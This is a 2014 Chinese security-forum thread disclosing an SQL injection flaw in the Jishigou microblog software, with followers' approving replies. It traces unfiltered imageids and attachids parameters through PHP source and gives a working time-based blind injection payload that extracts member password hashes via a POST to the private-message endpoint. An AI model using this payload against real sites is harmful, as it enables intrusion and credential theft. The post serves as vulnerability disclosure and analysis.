查看: 13653|回复: 6

[年终征文] 记事狗微博注入

[复制链接]
  • TA的每日心情

    2016-11-3 18:40
  • 签到天数: 7 天

    [LV.3]偶尔看看II

    发表于 2014-1-27 23:17:34 | 显示全部楼层 |阅读模式
    本帖最后由 ilx 于 2014-1-27 23:21 编辑


    ##########################################
    #  Title    : 记事狗微博注入
    #  Time   :2014年1月27日
    #  Team  :08sec team
    #  Author : il
    #  首发   : 08安全小组
    #######################################   

    测试版本: 20140124

    1.分析:

    文件名:pm.mod.php

    [PHP] 纯文本查看 复制代码
    		
                ..........以上省略 ..........
                    load::logic('pm');
    		$PmLogic = new PmLogic();
    		$pmid = $this->Post['pmid'];     
    		if($che = $this->Post['che']){
    			$this->Post['to_user'] = implode(",",$che);  //发送的账号名
    		}
    		$this->Post['message'] = jpost('message', 'txt'); //内容
    		if($pmid > 0){
    			$return = $PmLogic->pmSendAgain($this->Post);  
    		}else{
    			$return = $PmLogic->pmSend($this->Post);      //不设置pmid值的话进到pmSend函数里 我们进去看看
    		} 
                   ..........以下省略 ..........
    

    //master.mod.php
                    $this->Get     =  &$_GET;
                    $this->Post    =  &$_POST;
    --------------------------------------------------
    文件名:pm.logic.php



    [PHP] 纯文本查看 复制代码
    	
                  ..........以上省略 ..........
               $to_user_list=array();
    
                  . .........中间省略 ..........
    
    foreach($to_user_list as $to_user_id => $to_user_name)
    		{
    			$data = array(
    			"msgfrom"	 =>$susername,
    			"msgnickname"=>$snickname,
    			"msgfromid"  =>$suid,  								"msgto" => $to_user_name['username'],					"tonickname" => $to_user_name['nickname'],				"msgtoid"   => $to_user_id,								'imageids' => $post['imageids'],
    			'attachids' => $post['attachids'],  //
    			"subject"   => $post['subject'],                 post的值是由pm.mod.php传过来的 我们继续往下看
    			"message"   => $post['message'],  /
    			"new"=>'1',
    			"dateline"=>$time,
    			);
    
                         . .........中间省略 ..........
    
                    #标记音乐和附件,使清缓存的时候不会把附件删除
    		if($data['imageids']){
    			DB::query("update `".TABLE_PREFIX."topic_image` set `tid` = -1 where `id` in ({$data['imageids']})"); //没有使用单引号 ,也没过滤变量直接入口了 
    		}
    		if($data['attachids']){
    			DB::query("update `".TABLE_PREFIX."topic_attach` set `tid` = -1 where `id` in ({$data['attachids']})"); //没有使用单引号 ,也没过滤变量直接入库了 
    		}
                     
    
    

                 由于程序如果执行报错的话 就会被记录在文件里 所以只好盲注入了

    2.利用   :            
                   需要登录的情况下
                     ajax.php?mod=pm&code=do_add
                     POST提交
                      to_user=admin&message=eeeeeeeeeeeeeeeeeeeeee&save_to_outbox=0&imageids=1&attachids=SELECT IF(ASCII(MID(PASSWORD,1 ,1)) = 48, NULL, SLEEP(1)) FROM jishigou_members
               
                     执行的sql语句:

                    update `jishigou_topic_attach` set `tid` = -1 where `id` in (SELECT IF(ASCII(MID(PASSWORD,1 ,1)) = 48, NULL, SLEEP(1)) FROM jishigou_members)

                   
                      1.jpg

                      2.jpg


    (ps :attach.logic.php
                        $ids = $this->get_ids($ids, 0, 1);
                     这句如果能绕过就能2次注射下啊...
                      1w.jpg

    评分

    参与人数 1i币 +16 贡献 +2 收起 理由
    90_ + 16 + 2 支持原创

    查看全部评分

    回复

    使用道具 举报

  • TA的每日心情
    无聊
    2020-8-3 22:39
  • 签到天数: 84 天

    [LV.6]常住居民II

    发表于 2014-1-27 23:21:50 | 显示全部楼层
    草 你终于写完了
    回复 支持 反对

    使用道具 举报

  • TA的每日心情

    2020-12-4 20:42
  • 签到天数: 23 天

    [LV.4]偶尔看看III

    发表于 2014-1-27 23:24:42 | 显示全部楼层
    好牛逼。 赞一个。~
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    开心
    2017-1-9 18:10
  • 签到天数: 2 天

    [LV.1]初来乍到

    发表于 2014-1-28 01:29:14 | 显示全部楼层
    Ts
    基友们都知道了。 赞一个。~
    回复 支持 反对

    使用道具 举报

  • TA的每日心情

    2016-9-21 14:45
  • 签到天数: 4 天

    [LV.2]偶尔看看I

    发表于 2014-1-28 11:31:48 | 显示全部楼层
    不错,支持个。。
    回复 支持 反对

    使用道具 举报

  • TA的每日心情

    2016-9-21 14:45
  • 签到天数: 4 天

    [LV.2]偶尔看看I

    发表于 2014-1-28 11:32:23 | 显示全部楼层
    学PHP有段时间了,希望楼主还有挖掘漏洞的源码能借鉴一下。
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    奋斗
    2021-12-17 19:26
  • 签到天数: 655 天

    [LV.9]以坛为家II

    发表于 2014-1-29 14:34:53 | 显示全部楼层
    没看明白。
    回复 支持 反对

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    指导单位

    江苏省公安厅

    江苏省通信管理局

    浙江省台州刑侦支队

    DEFCON GROUP 86025

    旗下站点

    邮箱系统

    应急响应中心

    红盟安全

    联系我们

    官方QQ群:112851260

    官方邮箱:security#ihonker.org(#改成@)

    官方核心成员

    Archiver|手机版|小黑屋| ( 苏ICP备2021031567号 )

    GMT+8, 2024-5-5 16:06 , Processed in 0.053913 second(s), 17 queries , Gzip On, MemCache On.

    Powered by ihonker.com

    Copyright © 2015-现在.

  • 返回顶部